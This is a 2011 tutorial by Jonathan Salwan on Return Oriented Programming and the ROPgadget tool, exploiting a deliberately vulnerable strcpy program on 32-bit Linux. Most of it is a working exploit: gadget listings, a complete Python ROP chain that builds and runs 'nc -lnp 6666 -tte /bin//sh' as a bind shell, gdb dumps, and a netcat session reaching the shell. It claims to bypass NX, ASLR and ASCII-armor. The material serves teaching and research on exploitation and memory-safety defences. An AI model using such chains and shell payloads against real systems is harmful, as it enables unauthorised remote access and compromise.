Return Oriented Programming and ROPgadget tool

by @Jonathan Salwan - 2011-04-12

Introduction

In recent years, application exploits, especially buffer overflows, are made more difficult by protections implemented by operating systems. And as a fact, it's increasingly rare to execute arbitrary code on the stack. There are techniques to circumvent NX but these are useless if the libc functions are protected by the ASCII-ARMOR.

However, there is an attachment technique that allows to bypass all these protections. This technique is ROP (Return Oriented Programming). This type of attack that is extremely boring enough to realize, consists in chaining together sequences of instructions called "gadget" in order to change the registers status and execute a system call or perform any other function.

Generally, ROP is used to call execve() but here, in our case, we will try to build an execve like this:

#include <stdio.h>
#include <unistd.h>

int main()
{
  char *env[1] = {NULL};

  char *arguments[7]= { "/usr/bin//nc",
                        "-lnp",
                        "6666",
                        "-tte",
                        "/bin//sh",
                        NULL
                      };
  execve("/usr/bin/nc", arguments, env);
}

First of all, to reproduce the system call execve() we must know its convention.

We are on Linux x86 32 bits
jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve      11
jonathan@ArchLinux [/] $

EAX = 11
EBX = "/usr/bin/nc" (char *)
ECX = arguments (char **)
EDX = env (char **)

How to find the gadgets ?

Now we can use the ROPgadget tool. ROPgadget is a tool to find some gadgets in your binary. If you want you can also add others gadgets.

ROPgadget is available here http://www.shell-storm.org/project/ROPgadget/

Take for example the famous code that everyone uses to make their tests. Here, the binary is compiled in static, for a wide range of gadgets.

#include <string.h>

int main(int argc, char **argv)
{
  char buff[32];

  if (argc >= 2)
    strcpy(buff, argv[1]);

  return (0);
}

Now, we use ROPgadget to know the addresses of our gadgets.

jonathan@ArchLinux [rop] $ ROPgadget -g main
Header informations
============================================================
phoff        0x00000034
shoff        0x0007de7c
phnum        0x00000005 (5)
shnum        0x0000001a (26)
phentsize    0x00000020
shstrndx     0x00000017
entry        0x08048130

LOAD vaddr   0x08048000
LOAD offset  0x00000000

Gadgets informations
============================================================
0x080481c7: pop %ebx | pop %ebp | ret
0x080481c8: pop %ebp | ret
0x08048224: call *%eax
0x0804847e: mov %ebp,%esp | pop %ebp | ret
0x0804868f: int $0x80
0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08049241: pop %ebx | pop %esi | pop %ebp | ret
0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804f1e9: xor %eax,%eax | pop %ebx | ret
0x0804f70c: inc %eax | pop %edi | ret
0x080505b8: pop %esi | pop %ebx | pop %edx | ret
0x080505e0: pop %edx | pop %ecx | pop %ebx | ret
0x08056e94: xor %eax,%eax | leave | ret
0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret
0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret
0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068f82: mov %eax,(%ecx) | pop %ebp | ret
0x08069cda: xor %eax,%eax | pop %edi | ret
0x08069d24: xor %eax,%eax | ret
0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret
0x0806ad27: inc %eax | pop %edi | pop %esi | ret
0x0806adcd: inc %eax | inc %eax | inc %eax | ret
0x0806adce: inc %eax | inc %eax | ret
0x0806adcf: inc %eax | ret
0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret
0x08079531: mov %eax,(%edx) | ret
0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080a71ac: pop %ecx | pop %ebx | leave | ret

Total gadgets: 42/46
jonathan@ArchLinux [rop] $

As you can see these gadgets are in the .text section of an ELF binary and thus are unaffected by the ASLR and NX.

We don't need all these gadgets, only 6 or 7 will be useful.

We will need:

  • @.data (@ of .data for to place some strings)
  • int $0x80 (for execute our payload)
  • mov %eax,(%ecx) | pop %ebp | ret (for mov eax into buffer)
  • inc %eax | ret (for increment eax to up to 11)
  • pop %edx | pop %ecx | pop %ebx | ret (for pop address)
  • pop %eax | pop %ebx | pop %esi | pop %edi | ret (here just pop %eax will be useful)
  • xor %eax,%eax | ret (for put %eax to zero)

Diagram of exploitation and ROP operation

Imagine the following gadgets:    
                               - xor %eax,%eax; ret        0x08041111
                               - inc %eax; ret             0x08042222
                               - pop %ebx; pop %ecx; ret   0x08043333


Before the buffer overflow the 
registers are:
                               %eax 0xbfffff53
                               %ebx 0x080482a3
                               %ecx 0x13


The objective is to set the 
following registers:              
                               %eax 0x4
                               %ebx 0x41424344
                               %ecx 0x44434241

Your payload is as follows:

                               [NOP X size][SEBP][SEIP]

                               [0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222]
                               [0x08042222][0x08042222][0x08043333][0x41424344][0x44434241]

   STACK
+---------+
0xbfffe51c: 0x08048d70   0xbfffe530   0xbfffe9a2   0x00000000
0xbfffe52c: 0x00000000   0x63756f74   0x616c2068   0x69767473

                             +------- Address of your buffer. (tab[0])
                             v
0xbfffe53c: 0x5f746973   0x90909020   0x90909090   0x90909090
0xbfffe54c: 0x90909090   0x90909090   0x90909090   0x90909090
0xbfffe55c: 0x90909090   0x90909090   0x90909090   0x90909090
0xbfffe56c: 0x90909090   0x90909090   0x90909090   0x90909090

                                                                  +----------+
                                                                  |  .text   +
                                                                  +----------+
                             +----------------------1------------>|0x08041111| xor %eax,%eax
                             |         +------------2------------<|0x08041113| ret
                             |         |                          |..........|
                             |         |  +---------------1------>|0x08042222| inc %eax
                             |         |  |         +-----2------<|0x08042223| ret
                             |         |  |         |             |..........|
  Saved ebp ----+            |         |  |         |  
                v            ^         v  ^         v
0xbfffe57c:     0x90909090   0x08041111   0x08042222   0x08042222
0xbfffe58c:     0x08042222   0x08042222
                                                                  +----------+
                                                                  |  .text   +
                                                                  +----------+
                +--------------------------------------------1--->|0x08043333| 
                |            +-------------------------------2---<|0x08043333| pop %ebx
                |            |            +------------------3---<|0x08043334| pop %ecx
                |            |            |           +------4---<|0x08043335| ret
                |            P            P           |           |..........|
                |            O            O           |
                |            P            P           |
                |            |            |           |
                ^            v            v           v
0xbfffe594:     0x08043333   0x41424344   0x44434241

All the above diagram is an example for demonstration.

Now, make an exploit for the "main" binary:

#!/usr/bin/env python2
from struct import pack

EDAX0      = pack("<I", 0x08050a88)
STACK      = pack("<I", 0x080c6961) # .data 0x740   0x80c6620
INT80      = pack("<I", 0x0804868f) # int $0x80
MOVISTACK  = pack("<I", 0x08068f82) # mov %eax,(%ecx) | pop %ebp | ret
INCEAX     = pack("<I", 0x0806adcf) # inc %eax | ret
POPALL     = pack("<I", 0x080505e0) # pop %edx | pop %ecx | pop %ebx | ret
POPEAX     = pack("<I", 0x080850ba) # pop %eax | pop %ebx | pop %esi | pop %edi | ret
XOREAX     = pack("<I", 0x08069d24) # xor %eax,%eax | ret
DUMMY      = pack("<I", 0x42424242) # padding

buff  = "\x42" * 32
buff += "BBBB"

buff += POPALL              # it's via %ecx we will build our stack.
buff += DUMMY               # padding 
buff += STACK               # %ecx contain the stack address.
buff += DUMMY               # padding

buff += POPEAX              # Lets put content in an address
buff += "/usr"              # put "/usr" in %eax
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # put "/usr" in stack address
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 4)  # we change our stack for to point after "/usr"
buff += DUMMY               # padding

buff += POPEAX              # Applying the same for "/bin"
buff += "/bin"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place "/bin" after "/usr"
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 8)  # we change our stack for to point after "/usr/bin"
buff += DUMMY               # padding

buff += POPEAX              # Applying the same for "//nc"
buff += "//nc"              
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place "//nc" after "/usr/bin"
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 13) # we change our stack for to point after "/usr/bin//nc"+1
                    # to leave a \0 between arguments
buff += DUMMY               # padding

# we repeated operation for each argument
buff += POPEAX
buff += "-lnp"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 18)
buff += DUMMY

buff += POPEAX
buff += "6666"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 23)
buff += DUMMY

buff += POPEAX
buff += "-tte"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 28)
buff += DUMMY

buff += POPEAX
buff += "/bin"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

buff += POPALL
buff += DUMMY
buff += pack("<I", 0x080c6961 + 32)
buff += DUMMY

buff += POPEAX
buff += "//sh"
buff += DUMMY
buff += DUMMY
buff += DUMMY
buff += MOVISTACK
buff += DUMMY

#
# We currently have our list of elements separated by \0
# Now we must construct our char **
#
# 0x80c6961 <_IO_wide_data_1+1>:     "/usr/bin//nc"
# 0x80c696e <_IO_wide_data_1+14>:    "-lnp"
# 0x80c6973 <_IO_wide_data_1+19>:    "6666"
# 0x80c6978 <_IO_wide_data_1+24>:    "-tte"
# 0x80c697d <_IO_wide_data_1+29>:    "/bin//sh"
# 0x80c6986 <_IO_wide_data_1+38>:    ""
#

buff += POPALL              
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 60) # stack address
buff += DUMMY               # padding

buff += POPEAX
buff += pack("<I", 0x080c6961)      # @ of "/usr/bin//nc"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place address of "/usr/bin//nc" in our STACK
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 64) # we shift our Stack Pointer + 4 for the second argument
buff += DUMMY               # padding

buff += POPEAX
buff += pack("<I", 0x080c696e)      # @ of "-lnp"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place address of "-lnp" in our STACK
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 68) # we shift our Stack Pointer + 4 for the 3rd argument
buff += DUMMY               # padding

buff += POPEAX
buff += pack("<I", 0x080c6973)      # @ of "6666"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we palce address of "6666" in our STACK
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 72) # we shift our Stack Pointer + 4 for the 4th argument
buff += DUMMY               # padding

buff += POPEAX
buff += pack("<I", 0x80c6978)       # @ of "-tte"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place address of "-tte" in our STACK
buff += DUMMY               # padding

buff += POPALL
buff += DUMMY               # padding 
buff += pack("<I", 0x080c6961 + 76) # we shift our Stack Pointer + 4 for the 5th argument
buff += DUMMY               # padding

buff += POPEAX
buff += pack("<I", 0x80c697d)       # @ of "/bin//sh"
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += DUMMY               # padding 
buff += MOVISTACK           # we place address of "/bin//sh" in our STACK
buff += DUMMY               # padding

#
# Now we must implement eax to contain the address of 
# the execve syscall.
# execve = 0xb
#

buff += XOREAX                              # %eax is put to zero.
buff += INCEAX * 11                         # %eax is now 0xb
buff += POPALL                              # last pop 
buff += pack("<I", 0x080c6961 + 48)         # edx char *env
buff += pack("<I", 0x080c6961 + 60)         # ecx char **arguments
buff += pack("<I", 0x080c6961)              # ebx "/usr/bin//nc"
buff += INT80                               # we execute

print buff

When "int 0x80" is called our stack and our registers are following:

EAX: 0000000B  EBX: 080C6961  ECX: 080C699D
EDX: 080C6991  ESI: 42424242  EDI: 42424242
EBP: 42424242  ESP: BFFFF82C  EIP: 42424242


gdb$ x/6s $ebx
0x80c6961 <_IO_wide_data_1+1>:   "/usr/bin//nc"
0x80c696e <_IO_wide_data_1+14>:  "-lnp"
0x80c6973 <_IO_wide_data_1+19>:  "6666"
0x80c6978 <_IO_wide_data_1+24>:  "-tte"
0x80c697d <_IO_wide_data_1+29>:  "/bin//sh"
0x80c6986 <_IO_wide_data_1+38>:  ""


0x80c699d <_IO_wide_data_1+61>: 0x080c6961
0x80c69a1 <_IO_wide_data_1+65>: 0x080c696e
0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973
0x80c69a9 <_IO_wide_data_1+73>: 0x080c6978
0x80c69ad <_IO_wide_data_1+77>: 0x080c697d
0x80c69b1 <_IO_wide_data_1+81>: 0x00000000


jonathan@ArchLinux [rop] $ ./main $(./exploit.py)
jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666
ls
exploit.py
main
main.c

That's all, the exploit bypasses ASLR, NX & ASCII-ARMOR and makes a remote connection. The ROP is extremely powerful and stable but as you can see, it is also quite heavy to implement.